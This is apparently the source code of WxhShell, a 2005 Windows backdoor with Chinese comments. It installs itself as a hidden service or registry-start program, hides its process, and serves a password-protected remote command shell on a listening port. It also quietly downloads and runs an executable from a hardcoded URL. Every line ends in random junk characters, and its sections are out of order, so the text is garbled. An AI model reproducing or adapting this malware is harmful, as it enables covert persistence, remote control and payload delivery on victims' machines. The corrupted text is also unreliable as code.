DWORD AffinityMask; Ic_>[E?k
DWORD BasePriority; (h;4irfX
ULONG UniqueProcessId; >gNVL
(
ULONG InheritedFromUniqueProcessId; `4V_I%lJ&
} PROCESS_BASIC_INFORMATION; $ K>.|\
y#-mj,e
PROCNTQSIP NtQueryInformationProcess; % j4
&HdzbKO=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I8=p_Ie
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
G-?y;V 1
E;7vGGf]
HANDLE hProcess; ]mEY/)~7
PROCESS_BASIC_INFORMATION pbi; t)Q6A@$:
Ra%" +=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l*;Isz:
if(NULL == hInst ) return 0; =m{]Xep
P9j[
NEV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8.9TWsZ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A1`y_
Aj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =<nx[J
eq)8V x0
if (!NtQueryInformationProcess) return 0; A|!u`^p
|> mx*G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oZ%rzLH
if(!hProcess) return 0; biZwxP3
uh`W} n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cfn\De%.
8sm8L\-
CloseHandle(hProcess); 8 /3`rEW
fh rS7f'Zd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |q&&"SpA
if(hProcess==NULL) return 0; 59eq"08
P{qi>FJqe
HMODULE hMod; !F3Y7R
char procName[255]; i@7b
unsigned long cbNeeded; ,1-n=eTQ
y^"[^+F3 .
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3R!?r^h
UOTM>d1P
CloseHandle(hProcess); d^5OB8t
JWHKa=-H
if(strstr(procName,"services")) return 1; // 以服务启动 b65V*Vbj
NE Br)~
return 0; // 注册表启动 $2l<X KT-
} iQry X(z
hrsMAh!
// 主模块 _&0_@
int StartWxhshell(LPSTR lpCmdLine) i|zs
Li/
{ BJzNh>-#=
SOCKET wsl; e))fbv&V
BOOL val=TRUE; 3K
Y-+ k
int port=0; -*;-T9
struct sockaddr_in door; Oy>u/g~
DQ'yFPE
if(wscfg.ws_autoins) Install(); &p>VTD
|)4Fe/!cJ
port=atoi(lpCmdLine); R2ue kpP
R0>GM`{
if(port<=0) port=wscfg.ws_port; 3N8RZt1.b
&_mOw.
WSADATA data; j*uc$hC"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !)1r{u
7g'jg7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G&i<&.i
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w9QY2v,U
door.sin_family = AF_INET; nW1Obu8x|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); obYXDj2
door.sin_port = htons(port); qY^OO~[
]Puu: IG
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &PJ&XTR
closesocket(wsl); Hggp*(AQK
return 1; yht|0mZV
} ')ZM#
:G
|etA2"r&
if(listen(wsl,2) == INVALID_SOCKET) { i9KQpWG:
closesocket(wsl); 6I,^4U
return 1; 19.+"H
} <[7
bUB
Wxhshell(wsl); (of=hzT^?
WSACleanup(); rGPFPsMQ]
C'4gve 7!
return 0; ANuIPF4NxP
1Yj ^N"=
} P.G`ED|K!Y
,Mt/*^|
// 以NT服务方式启动 ~zEBJgeyh
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |8xu*dVAp4
{ @9yY`\"ed
DWORD status = 0; 9 F"2$;
DWORD specificError = 0xfffffff; &O0@)jIV
I)@b#V=
serviceStatus.dwServiceType = SERVICE_WIN32; x.d;7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +k@$C,A
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :aYbP,mE
serviceStatus.dwWin32ExitCode = 0; 1: cD\
serviceStatus.dwServiceSpecificExitCode = 0; Ns^[Hb[b'
serviceStatus.dwCheckPoint = 0; /,G -1E
serviceStatus.dwWaitHint = 0; njO5 YYOu
TF_~)f(`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $+#Lq.3,
if (hServiceStatusHandle==0) return; )`u)#@x
8T3j/D<r
status = GetLastError();
3vs;ZBM
if (status!=NO_ERROR) zq(R !a6
{ 'q+CL&D
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9NX/OctFa'
serviceStatus.dwCheckPoint = 0; Dwvd
serviceStatus.dwWaitHint = 0; pq<302uBQ
serviceStatus.dwWin32ExitCode = status; LP_w6fjT
serviceStatus.dwServiceSpecificExitCode = specificError; )~(( 6?k4e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xp+Z%0D
return; (`z`ni
} B2}|b^'I
R?,O h*
serviceStatus.dwCurrentState = SERVICE_RUNNING; %<4ZU!2L
serviceStatus.dwCheckPoint = 0; 7 (}gs?&w
serviceStatus.dwWaitHint = 0; T@V<J'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "RZVv~BD
} >5,nB<
Xbm\"g \
// 处理NT服务事件,比如:启动、停止 n*7Ytz3#'
VOID WINAPI NTServiceHandler(DWORD fdwControl) x>Hg.%/c[
{ ^Q)&lxlxpx
switch(fdwControl) ryk(Am<
{ .i^aYbB$X
case SERVICE_CONTROL_STOP: 6xLLIby,
serviceStatus.dwWin32ExitCode = 0; f$\gm+&hXE
serviceStatus.dwCurrentState = SERVICE_STOPPED; qXI>x6?*
serviceStatus.dwCheckPoint = 0; JqX+vRY;dd
serviceStatus.dwWaitHint = 0; RtE2%d$JT
{ =D 1%-ym
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hchh2
} Sb9O#$89
return; bf9LR1
case SERVICE_CONTROL_PAUSE: "mBX$t'gb
serviceStatus.dwCurrentState = SERVICE_PAUSED; "YUh4uZ~P
break; -F&4<\=+
case SERVICE_CONTROL_CONTINUE: 1 uKWvp0\
serviceStatus.dwCurrentState = SERVICE_RUNNING; o;d><
break; jHP6d =
case SERVICE_CONTROL_INTERROGATE: +7HM7cw
break; +W{ELdup%q
}; (5-4`:1ux
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Z2tTw'i
} O@$wU9D<
]!v:xjzT
// 标准应用程序主函数 ;ALkeUR[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9DAk|K
{ F;I % 9-R
ynWF Y<VX
// 获取操作系统版本 ukZ>_ke`+
OsIsNt=GetOsVer(); G-vBJlt=t
GetModuleFileName(NULL,ExeFile,MAX_PATH); vMDX
(T0%oina
// 从命令行安装 bZf18lvij:
if(strpbrk(lpCmdLine,"iI")) Install(); rKK{*%n
!|SVRaS
// 下载执行文件 n"p|tEK
if(wscfg.ws_downexe) { a{oG[e
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Adx7!6
WinExec(wscfg.ws_filenam,SW_HIDE); ,};UD
W
} h3}gg@Fm
sBsf{%I[{
if(!OsIsNt) { Q Pel n)
// 如果时win9x,隐藏进程并且设置为注册表启动 9GH11B_A
HideProc(); u{Z
4M3U
StartWxhshell(lpCmdLine);
+lK?)77f
} G4VdJ(_
else ?9F_E+!
if(StartFromService()) \(S69@f
// 以服务方式启动 g$z9 ( i+
StartServiceCtrlDispatcher(DispatchTable); W.B;Dy,Y
else i4',d#
// 普通方式启动 {C% #r@6
StartWxhshell(lpCmdLine); >EMsBX
.V4w+:i
return 0; &zGf`Zi6*%
} Nb[zm|.
R:Pw@
#Tr>[ZC
_ct18nh9
=========================================== oNkASAd
V>8)1)dF
"kYzgi
Y,?!"
CG`s@5y>5
__F?iRrCM
" `cz%(Ry,
e 58
#include <stdio.h> >u6*P{;\
#include <string.h> `oDs]90
#include <windows.h> %[l*:05
#include <winsock2.h> \R m2c8Z2
#include <winsvc.h> x]1G u
#include <urlmon.h> R<5GG|(B
zOkIPv52~
#pragma comment (lib, "Ws2_32.lib") H[cHF
#pragma comment (lib, "urlmon.lib") 1XwW4cZ>:
]VYv>o`2
#define MAX_USER 100 // 最大客户端连接数 R')D~JJ<8a
#define BUF_SOCK 200 // sock buffer O%w"bEr)N
#define KEY_BUFF 255 // 输入 buffer b1("(,r/`
<c,/+
lQ^
#define REBOOT 0 // 重启 .e^AS~4pl
#define SHUTDOWN 1 // 关机 ( %i)A$i6a
u:6PAVW?
#define DEF_PORT 5000 // 监听端口 yMJY6$Ct
k|ol+
9Z
#define REG_LEN 16 // 注册表键长度 cz2guUu
#define SVC_LEN 80 // NT服务名长度 )ZyEn%
I3{koI
// 从dll定义API 1l8kuwH
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u-31$z<<5}
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e:h(,
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); POnI&y]
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jJX-S
(c'=jJX
// wxhshell配置信息 h1y6`m9
struct WSCFG { y .+d3
int ws_port; // 监听端口 lzKJy
char ws_passstr[REG_LEN]; // 口令 fs43\m4=m
int ws_autoins; // 安装标记, 1=yes 0=no ]~')OSjw
char ws_regname[REG_LEN]; // 注册表键名 ZPM,ZGlu:
char ws_svcname[REG_LEN]; // 服务名 ?gq',FFDq
char ws_svcdisp[SVC_LEN]; // 服务显示名 FXAP]iqo
char ws_svcdesc[SVC_LEN]; // 服务描述信息 BIFuQ?j3
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -w0U}Te^
int ws_downexe; // 下载执行标记, 1=yes 0=no ))pp{X2m
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mt0ZD}E
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^m3[mY [a
#Cwzk{p(
}; <`'^rCWI?
AK#`&)0i
// default Wxhshell configuration <@Lw '
struct WSCFG wscfg={DEF_PORT, (>E}{{>2r
"xuhuanlingzhe", Ap{2*o
1, RpAtd^I
"Wxhshell", CL~21aslI
"Wxhshell", MzF9 &{N
"WxhShell Service", ;AFF7N>&
"Wrsky Windows CmdShell Service", z%F68f73
"Please Input Your Password: ", LC!ZeW35
1, x vi&d1
"http://www.wrsky.com/wxhshell.exe", C*S%aR
"Wxhshell.exe" 6{XdLI
}; Ar+<n 2;[
]>K02SVT:
// 消息定义模块 w&M)ws;$
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;[)t*yAh
char *msg_ws_prompt="\n\r? for help\n\r#>"; l&